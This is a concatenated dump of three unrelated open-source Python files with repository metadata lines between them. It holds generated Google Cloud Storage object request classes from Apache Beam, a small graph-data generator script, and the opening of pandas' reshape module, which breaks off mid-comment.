StorageObjectsCopyRequest(_messages.Message): """A StorageObjectsCopyRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: destinationBucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any.For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. destinationObject: Name of the new object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the destination object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the destination object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the destination object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the destination object's current metageneration does not match the given value. ifSourceGenerationMatch: Makes the operation conditional on whether the source object's generation matches the given value. ifSourceGenerationNotMatch: Makes the operation conditional on whether the source object's generation does not match the given value. ifSourceMetagenerationMatch: Makes the operation conditional on whether the source object's current metageneration matches the given value. ifSourceMetagenerationNotMatch: Makes the operation conditional on whether the source object's current metageneration does not match the given value. object: A Object resource to be passed as the request body. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. sourceBucket: Name of the bucket in which to find the source object. sourceGeneration: If present, selects a specific revision of the source object (as opposed to the latest version, the default). sourceObject: Name of the source object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ class DestinationPredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 destinationBucket = _messages.StringField(1, required=True) destinationObject = _messages.StringField(2, required=True) destinationPredefinedAcl = _messages.EnumField('DestinationPredefinedAclValueValuesEnum', 3) ifGenerationMatch = _messages.IntegerField(4) ifGenerationNotMatch = _messages.IntegerField(5) ifMetagenerationMatch = _messages.IntegerField(6) ifMetagenerationNotMatch = _messages.IntegerField(7) ifSourceGenerationMatch = _messages.IntegerField(8) ifSourceGenerationNotMatch = _messages.IntegerField(9) ifSourceMetagenerationMatch = _messages.IntegerField(10) ifSourceMetagenerationNotMatch = _messages.IntegerField(11) object = _messages.MessageField('Object', 12) projection = _messages.EnumField('ProjectionValueValuesEnum', 13) sourceBucket = _messages.StringField(14, required=True) sourceGeneration = _messages.IntegerField(15) sourceObject = _messages.StringField(16, required=True) class StorageObjectsDeleteRequest(_messages.Message): """A StorageObjectsDeleteRequest object. Fields: bucket: Name of the bucket in which the object resides. generation: If present, permanently deletes a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) ifGenerationMatch = _messages.IntegerField(3) ifGenerationNotMatch = _messages.IntegerField(4) ifMetagenerationMatch = _messages.IntegerField(5) ifMetagenerationNotMatch = _messages.IntegerField(6) object = _messages.StringField(7, required=True) class StorageObjectsDeleteResponse(_messages.Message): """An empty StorageObjectsDelete response.""" class StorageObjectsGetRequest(_messages.Message): """A StorageObjectsGetRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) ifGenerationMatch = _messages.IntegerField(3) ifGenerationNotMatch = _messages.IntegerField(4) ifMetagenerationMatch = _messages.IntegerField(5) ifMetagenerationNotMatch = _messages.IntegerField(6) object = _messages.StringField(7, required=True) projection = _messages.EnumField('ProjectionValueValuesEnum', 8) class StorageObjectsInsertRequest(_messages.Message): """A StorageObjectsInsertRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: bucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any. contentEncoding: If set, sets the contentEncoding property of the final object to this value. Setting this parameter is equivalent to setting the contentEncoding metadata property. This can be useful when uploading an object with uploadType=media to indicate the encoding of the content being uploaded. ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. name: Name of the object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. object: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) contentEncoding = _messages.StringField(2) ifGenerationMatch = _messages.IntegerField(3) ifGenerationNotMatch = _messages.IntegerField(4) ifMetagenerationMatch = _messages.IntegerField(5) ifMetagenerationNotMatch = _messages.IntegerField(6) name = _messages.StringField(7) object = _messages.MessageField('Object', 8) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = _messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsListRequest(_messages.Message): """A StorageObjectsListRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which to look for objects. delimiter: Returns results in a directory-like mode. items will contain only objects whose names, aside from the prefix, do not contain delimiter. Objects whose names, aside from the prefix, contain delimiter will have their name, truncated after the delimiter, returned in prefixes. Duplicate prefixes are omitted. maxResults: Maximum number of items plus prefixes to return. As duplicate prefixes are omitted, fewer total results may be returned than requested. The default value of this parameter is 1,000 items. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to objects whose names begin with this prefix. projection: Set of properties to return. Defaults to noAcl. versions: If true, lists all versions of an object as distinct results. The default is false. For more information, see Object Versioning. """ class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) delimiter = _messages.StringField(2) maxResults = _messages.IntegerField(3, variant=_messages.Variant.UINT32) pageToken = _messages.StringField(4) prefix = _messages.StringField(5) projection = _messages.EnumField('ProjectionValueValuesEnum', 6) versions = _messages.BooleanField(7) class StorageObjectsPatchRequest(_messages.Message): """A StorageObjectsPatchRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. objectResource: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) ifGenerationMatch = _messages.IntegerField(3) ifGenerationNotMatch = _messages.IntegerField(4) ifMetagenerationMatch = _messages.IntegerField(5) ifMetagenerationNotMatch = _messages.IntegerField(6) object = _messages.StringField(7, required=True) objectResource = _messages.MessageField('Object', 8) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = _messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsRewriteRequest(_messages.Message): """A StorageObjectsRewriteRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: destinationBucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any. destinationObject: Name of the new object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the destination object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the destination object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the destination object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the destination object's current metageneration does not match the given value. ifSourceGenerationMatch: Makes the operation conditional on whether the source object's generation matches the given value. ifSourceGenerationNotMatch: Makes the operation conditional on whether the source object's generation does not match the given value. ifSourceMetagenerationMatch: Makes the operation conditional on whether the source object's current metageneration matches the given value. ifSourceMetagenerationNotMatch: Makes the operation conditional on whether the source object's current metageneration does not match the given value. maxBytesRewrittenPerCall: The maximum number of bytes that will be rewritten per rewrite request. Most callers shouldn't need to specify this parameter - it is primarily in place to support testing. If specified the value must be an integral multiple of 1 MiB (1048576). Also, this only applies to requests where the source and destination span locations and/or storage classes. Finally, this value must not change across rewrite calls else you'll get an error that the rewriteToken is invalid. object: A Object resource to be passed as the request body. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. rewriteToken: Include this field (from the previous rewrite response) on each rewrite request after the first one, until the rewrite response 'done' flag is true. Calls that provide a rewriteToken can omit all other request fields, but if included those fields must match the values provided in the first rewrite request. sourceBucket: Name of the bucket in which to find the source object. sourceGeneration: If present, selects a specific revision of the source object (as opposed to the latest version, the default). sourceObject: Name of the source object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ class DestinationPredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 destinationBucket = _messages.StringField(1, required=True) destinationObject = _messages.StringField(2, required=True) destinationPredefinedAcl = _messages.EnumField('DestinationPredefinedAclValueValuesEnum', 3) ifGenerationMatch = _messages.IntegerField(4) ifGenerationNotMatch = _messages.IntegerField(5) ifMetagenerationMatch = _messages.IntegerField(6) ifMetagenerationNotMatch = _messages.IntegerField(7) ifSourceGenerationMatch = _messages.IntegerField(8) ifSourceGenerationNotMatch = _messages.IntegerField(9) ifSourceMetagenerationMatch = _messages.IntegerField(10) ifSourceMetagenerationNotMatch = _messages.IntegerField(11) maxBytesRewrittenPerCall = _messages.IntegerField(12) object = _messages.MessageField('Object', 13) projection = _messages.EnumField('ProjectionValueValuesEnum', 14) rewriteToken = _messages.StringField(15) sourceBucket = _messages.StringField(16, required=True) sourceGeneration = _messages.IntegerField(17) sourceObject = _messages.StringField(18, required=True) class StorageObjectsUpdateRequest(_messages.Message): """A StorageObjectsUpdateRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. objectResource: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) ifGenerationMatch = _messages.IntegerField(3) ifGenerationNotMatch = _messages.IntegerField(4) ifMetagenerationMatch = _messages.IntegerField(5) ifMetagenerationNotMatch = _messages.IntegerField(6) object = _messages.StringField(7, required=True) objectResource = _messages.MessageField('Object', 8) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = _messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsWatchAllRequest(_messages.Message): """A StorageObjectsWatchAllRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which to look for objects. channel: A Channel resource to be passed as the request body. delimiter: Returns results in a directory-like mode. items will contain only objects whose names, aside from the prefix, do not contain delimiter. Objects whose names, aside from the prefix, contain delimiter will have their name, truncated after the delimiter, returned in prefixes. Duplicate prefixes are omitted. maxResults: Maximum number of items plus prefixes to return. As duplicate prefixes are omitted, fewer total results may be returned than requested. The default value of this parameter is 1,000 items. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to objects whose names begin with this prefix. projection: Set of properties to return. Defaults to noAcl. versions: If true, lists all versions of an object as distinct results. The default is false. For more information, see Object Versioning. """ class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) channel = _messages.MessageField('Channel', 2) delimiter = _messages.StringField(3) maxResults = _messages.IntegerField(4, variant=_messages.Variant.UINT32) pageToken = _messages.StringField(5) prefix = _messages.StringField(6) projection = _messages.EnumField('ProjectionValueValuesEnum', 7) versions = _messages.BooleanField(8)
staslev/beam
sdks/python/apache_beam/io/gcp/internal/clients/storage/storage_v1_messages.py
Python
apache-2.0
78,320
import pygraph.algorithms.generators as gen import pygraph.algorithms.accessibility as acc import pygraph.algorithms.minmax as minmax graph = gen.generate(5000, 10000, weight_range=(50, 2000)) components = acc.connected_components(graph) nodes = [g for g in graph if components[g] == 1] print "GRAPH NODES" for n in graph.nodes(): print n print "GRAPH EDGES" for e in graph.edges(): if components[e[0]] == 1: w = graph.edge_weight(e) print (e[0], e[1], w) # MST = minmax.minimal_spanning_tree(graph) # print "MST NODES" # for n in MST.keys(): # print n # print "MST EDGES" # for k in MST.keys(): # if MST[k] is not None: # print "(%d, %d)" % (k, MST[k]) # else: # print "(%d, %d)" % (k, k)
kentya6/swift
utils/benchmark/Graph/generate-data.py
Python
apache-2.0
748
# pylint: disable=E1101,E1103 # pylint: disable=W0703,W0622,W0613,W0201 from pandas.compat import range, zip from pandas import compat import itertools import numpy as np from pandas.core.series import Series from pandas.core.frame import DataFrame from pandas.core.sparse import SparseDataFrame, SparseSeries from pandas.sparse.array import SparseArray from pandas._sparse import IntIndex from pandas.core.categorical import Categorical from pandas.core.common import notnull, _ensure_platform_int, _maybe_promote from pandas.core.groupby import get_group_index, _compress_group_index import pandas.core.common as com import pandas.algos as algos from pandas.core.index import MultiIndex, _get_na_value class _Unstacker(object): """ Helper class to unstack data / pivot with multi-level index Parameters ---------- level : int or str, default last level Level to "unstack". Accepts a name for the level. Examples -------- >>> import pandas as pd >>> index = pd.MultiIndex.from_tuples([('one', 'a'), ('one', 'b'), ... ('two', 'a'), ('two', 'b')]) >>> s = pd.Series(np.arange(1.0, 5.0), index=index) >>> s one a 1 b 2 two a 3 b 4 dtype: float64 >>> s.unstack(level=-1) a b one 1 2 two 3 4 >>> s.unstack(level=0) one two a 1 2 b 3 4 Returns ------- unstacked : DataFrame """ def __init__(self, values, index, level=-1, value_columns=None): self.is_categorical = None if values.ndim == 1: if isinstance(values, Categorical): self.is_categorical = values values = np.array(values) values = values[:, np.newaxis] self.values = values self.value_columns = value_columns if value_columns is None and values.shape[1] != 1: # pragma: no cover raise ValueError('must pass column labels for multi-column data') self.index = index if isinstance(self.index, MultiIndex): if index._reference_duplicate_name(level): msg = ("Ambiguous reference to {0}. The index " "names are not unique.".format(level)) raise ValueError(msg) self.level = self.index._get_level_number(level) # when index includes `nan`, need to lift levels/strides by 1 self.lift = 1 if -1 in self.index.labels[self.level] else 0 self.new_index_levels = list(index.levels) self.new_index_names = list(index.names) self.removed_name = self.new_index_names.pop(self.level) self.removed_level = self.new_index_levels.pop(self.level) self._make_sorted_values_labels() self._make_selectors() def _make_sorted_values_labels(self): v = self.level labs = list(self.index.labels) levs = list(self.index.levels) to_sort = labs[:v] + labs[v + 1:] + [labs[v]] sizes = [len(x) for x in levs[:v] + levs[v + 1:] + [levs[v]]] comp_index, obs_ids = get_compressed_ids(to_sort, sizes) ngroups = len(obs_ids) indexer = algos.groupsort_indexer(comp_index, ngroups)[0] indexer = _ensure_platform_int(indexer) self.sorted_values = com.take_nd(self.values, indexer, axis=0) self.sorted_labels = [l.take(indexer) for l in to_sort] def _make_selectors(self): new_levels = self.new_index_levels # make the mask remaining_labels = self.sorted_labels[:-1] level_sizes = [len(x) for x in new_levels] comp_index, obs_ids = get_compressed_ids(remaining_labels, level_sizes) ngroups = len(obs_ids) comp_index = _ensure_platform_int(comp_index) stride = self.index.levshape[self.level] + self.lift self.full_shape = ngroups, stride selector = self.sorted_labels[-1] + stride * comp_index + self.lift mask = np.zeros(np.prod(self.full_shape), dtype=bool) mask.put(selector, True) if mask.sum() < len(self.index): raise ValueError('Index contains duplicate entries, ' 'cannot reshape') self.group_index = comp_index self.mask = mask self.unique_groups = obs_ids self.compressor = comp_index.searchsorted(np.arange(ngroups)) def get_result(self): # TODO: find a better way than this masking business values, value_mask = self.get_new_values() columns = self.get_new_columns() index = self.get_new_index() # filter out missing levels if values.shape[1] > 0: col_inds, obs_ids = _compress_group_index(self.sorted_labels[-1]) # rare case, level values not observed if len(obs_ids) < self.full_shape[1]: inds = (value_mask.sum(0) > 0).nonzero()[0] values = com.take_nd(values, inds, axis=1) columns = columns[inds] # may need to coerce categoricals here if self.is_categorical is not None: values = [ Categorical.from_array(values[:,i], categories=self.is_categorical.categories, ordered=True) for i in range(values.shape[-1]) ] return DataFrame(values, index=index, columns=columns) def get_new_values(self): values = self.values # place the values length, width = self.full_shape stride = values.shape[1] result_width = width * stride result_shape = (length, result_width) # if our mask is all True, then we can use our existing dtype if self.mask.all(): dtype = values.dtype new_values = np.empty(result_shape, dtype=dtype) else: dtype, fill_value = _maybe_promote(values.dtype) new_values = np.empty(result_shape, dtype=dtype) new_values.fill(fill_value) new_mask = np.zeros(result_shape, dtype=bool) # is there a simpler / faster way of doing this? for i in range(values.shape[1]): chunk = new_values[:, i * width: (i + 1) * width] mask_chunk = new_mask[:, i * width: (i + 1) * width] chunk.flat[self.mask] = self.sorted_values[:, i] mask_chunk.flat[self.mask] = True return new_values, new_mask def get_new_columns(self): if self.value_columns is None: if self.lift == 0: return self.removed_level lev = self.removed_level return lev.insert(0, _get_na_value(lev.dtype.type)) stride = len(self.removed_level) + self.lift width = len(self.value_columns) propagator = np.repeat(np.arange(width), stride) if isinstance(self.value_columns, MultiIndex): new_levels = self.value_columns.levels + (self.removed_level,) new_names = self.value_columns.names + (self.removed_name,) new_labels = [lab.take(propagator) for lab in self.value_columns.labels] else: new_levels = [self.value_columns, self.removed_level] new_names = [self.value_columns.name, self.removed_name] new_labels = [propagator] new_labels.append(np.tile(np.arange(stride) - self.lift, width)) return MultiIndex(levels=new_levels, labels=new_labels, names=new_names, verify_integrity=False) def get_new_index(self): result_labels = [lab.take(self.compressor) for lab in self.sorted_labels[:-1]] # construct the new index if len(self.new_index_levels) == 1: lev, lab = self.new_index_levels[0], result_labels[0] if (lab == -1).any(): lev = lev.insert(len(lev), _get_na_value(lev.dtype.type)) return lev.take(lab) return MultiIndex(levels=self.new_index_levels, labels=result_labels, names=self.new_index_names, verify_integrity=False) def _unstack_multiple(data, clocs): from pandas.core.groupby import decons_obs_group_ids if len(clocs) == 0: return data # NOTE: This doesn't deal with hierarchical columns yet index = data.index clocs = [index._get_level_number(i) for i in clocs] rlocs = [i for i in range(index.nlevels) if i not in clocs] clevels = [index.levels[i] for i in clocs] clabels = [index.labels[i] for i in clocs] cnames = [index.names[i] for i in clocs] rlevels = [index.levels[i] for i in rlocs] rlabels = [index.labels[i] for i in rlocs] rnames = [index.names[i] for i in rlocs] shape = [len(x) for x in clevels] group_index = get_group_index(clabels, shape, sort=False, xnull=False) comp_ids, obs_ids = _compress_group_index(group_index, sort=False) recons_labels = decons_obs_group_ids(comp_ids, obs_ids, shape, clabels, xnull=False) dummy_index = MultiIndex(levels=rlevels + [obs_ids], labels=rlabels + [comp_ids], names=rnames + ['__placeholder__'], verify_integrity=False) if isinstance(data, Series): dummy = Series(data.values, index=dummy_index) unstacked = dummy.unstack('__placeholder__') new_levels = clevels new_names = cnames new_labels = recons_labels else: if isinstance(data.columns, MultiIndex): result = data for i in range(len(clocs)): val = clocs[i] result = result.unstack(val) clocs = [val if i > val else val - 1 for val in clocs] return result dummy = DataFrame(data.values, index=dummy_index, columns=data.columns) unstacked = dummy.unstack('__placeholder__') if isinstance(unstacked, Series): unstcols = unstacked.index else: unstcols = unstacked.columns new_levels = [unstcols.levels[0]] + clevels new_names = [data.columns.name] + cnames new_labels = [unstcols.labels[0]] for rec in recons_labels: new_labels.append(rec.take(unstcols.labels[-1])) new_columns = MultiIndex(levels=new_levels, labels=new_labels, names=new_names, verify_integrity=False) if isinstance(unstacked, Series): unstacked.index = new_columns else: unstacked.columns = new_columns return unstacked def pivot(self, index=None, columns=None, values=None): """ See DataFrame.pivot """ if values is None: cols = [columns] if index is None else [index, columns] append = index is None indexed = self.set_index(cols, append=append) return indexed.unstack(columns) else: if index is None: index = self.index else: index = self[index] indexed = Series(self[values].values, index=MultiIndex.from_arrays([index, self[columns]])) return indexed.unstack(columns) def pivot_simple(index, columns, values): """ Produce 'pivot' table based on 3 columns of this DataFrame. Uses unique values from index / columns and fills with values. Parameters ---------- index : ndarray Labels to use to make new frame's index columns : ndarray Labels to use to make new frame's columns values : ndarray Values to use for populating new frame's values Notes ----- Obviously, all 3 of the input arguments must have the same length Returns ------- DataFrame """ if (len(index) != len(columns)) or (len(columns) != len(values)): raise AssertionError('Length of index, columns, and values must be the' ' same') if len(index) == 0: return DataFrame(index=[]) hindex = MultiIndex.from_arrays([index, columns]) series = Series(values.ravel(), index=hindex) series = series.sortlevel(0) return series.unstack() def _slow_pivot(index, columns, values): """ Produce 'pivot' table based on 3 columns of this DataFrame. Uses unique values from index / columns and fills with values. Parameters ---------- index : string or object Column name to use to make new frame's index columns : string or object Column name to use to make new frame's columns values : string or object Column name to use for populating new frame's values Could benefit from some Cython here. """ tree = {} for i, (idx, col) in enumerate(zip(index, columns)): if col not in tree: tree[col] = {} branch = tree[col] branch[idx] = values[i] return DataFrame(tree) def unstack(obj, level): if isinstance(level, (tuple, list)): return _unstack_multiple(obj, level) if isinstance(obj, DataFrame): if isinstance(obj.index, MultiIndex): return _unstack_frame(obj, level) else: return obj.T.stack(dropna=False) else: unstacker = _Unstacker(obj.values, obj.index, level=level) return unstacker.get_result() def _unstack_frame(obj, level): from pandas.core.internals import BlockManager, make_block if obj._is_mixed_type: unstacker = _Unstacker(np.empty(obj.shape, dtype=bool), # dummy obj.index, level=level, value_columns=obj.columns) new_columns = unstacker.get_new_columns() new_index = unstacker.get_new_index() new_axes = [new_columns, new_index] new_blocks = [] mask_blocks = [] for blk in obj._data.blocks: blk_items = obj._data.items[blk.mgr_locs.indexer] bunstacker = _Unstacker(blk.values.T, obj.index, level=level, value_columns=blk_items) new_items = bunstacker.get_new_columns() new_placement = new_columns.get_indexer(new_items) new_values, mask = bunstacker.get_new_values() mblk = make_block(mask.T, placement=new_placement) mask_blocks.append(mblk) newb = make_block(new_values.T, placement=new_placement) new_blocks.append(newb) result = DataFrame(BlockManager(new_blocks, new_axes)) mask_frame = DataFrame(BlockManager(mask_blocks, new_axes)) return result.ix[:, mask_frame.sum(0) > 0] else: unstacker = _Unstacker(obj.values, obj.index, level=level, value_columns=obj.columns) return unstacker.get_result() def get_compressed_ids(labels, sizes): from pandas.core.groupby import get_group_index ids = get_group_index(labels, sizes, sort=True, xnull=False) return _compress_group_index(ids, sort=True) def stack(frame, level=-1, dropna=True): """ Convert DataFrame to Series with multi-level Index. Columns become the second level of the resulting hierarchical index Returns ------- stacked : Series """ def factorize(index): if index.is_unique: return index, np.arange(len(index)) cat = Categorical(index, ordered=True) return cat.categories, cat.codes N, K = frame.shape if isinstance(frame.columns, MultiIndex): if frame.columns._reference_duplicate_name(level): msg = ("Ambiguous reference to {0}. The column " "names are not unique.".format(level)) raise ValueError(msg) # Will also convert negative level numbers and check if out of bounds. level_num = frame.columns._get_level_number(level) if isinstance(frame.columns, MultiIndex): return _stack_multi_columns(frame, level_num=level_num, dropna=dropna) elif isinstance(frame.index, MultiIndex): new_levels = list(frame.index.levels) new_labels = [lab.repeat(K) for lab in frame.index.labels] clev, clab = factorize(frame.columns) new_levels.append(clev) new_labels.append(np.tile(clab, N).ravel()) new_names = list(frame.index.names) new_names.append(frame.columns.name) new_index = MultiIndex(levels=new_levels, labels=new_labels, names=new_names, verify_integrity=False) else: levels, (ilab, clab) = \ zip(*map(factorize, (frame.index, frame.columns))) labels = ilab.repeat(K), np.tile(clab, N).ravel() new_index = MultiIndex(levels=levels, labels=labels, names=[frame.index.name, frame.columns.name], verify_integrity=False) new_values = frame.values.ravel() if dropna: mask = notnull(new_values) new_values = new_values[mask] new_index = new_index[mask] return Series(new_values, index=new_index) def stack_multiple(frame, level, dropna=True): # If all passed levels match up to column names, no # ambiguity about what to do if all(lev in frame.columns.names for lev in level): result = frame for lev in level: result = stack(result, lev, dropna=dropna) # Otherwise, level numbers may change as each successive level is stacked elif all(isinstance(lev, int) for lev in level): # As each stack is done, the level numbers decrease, so we need 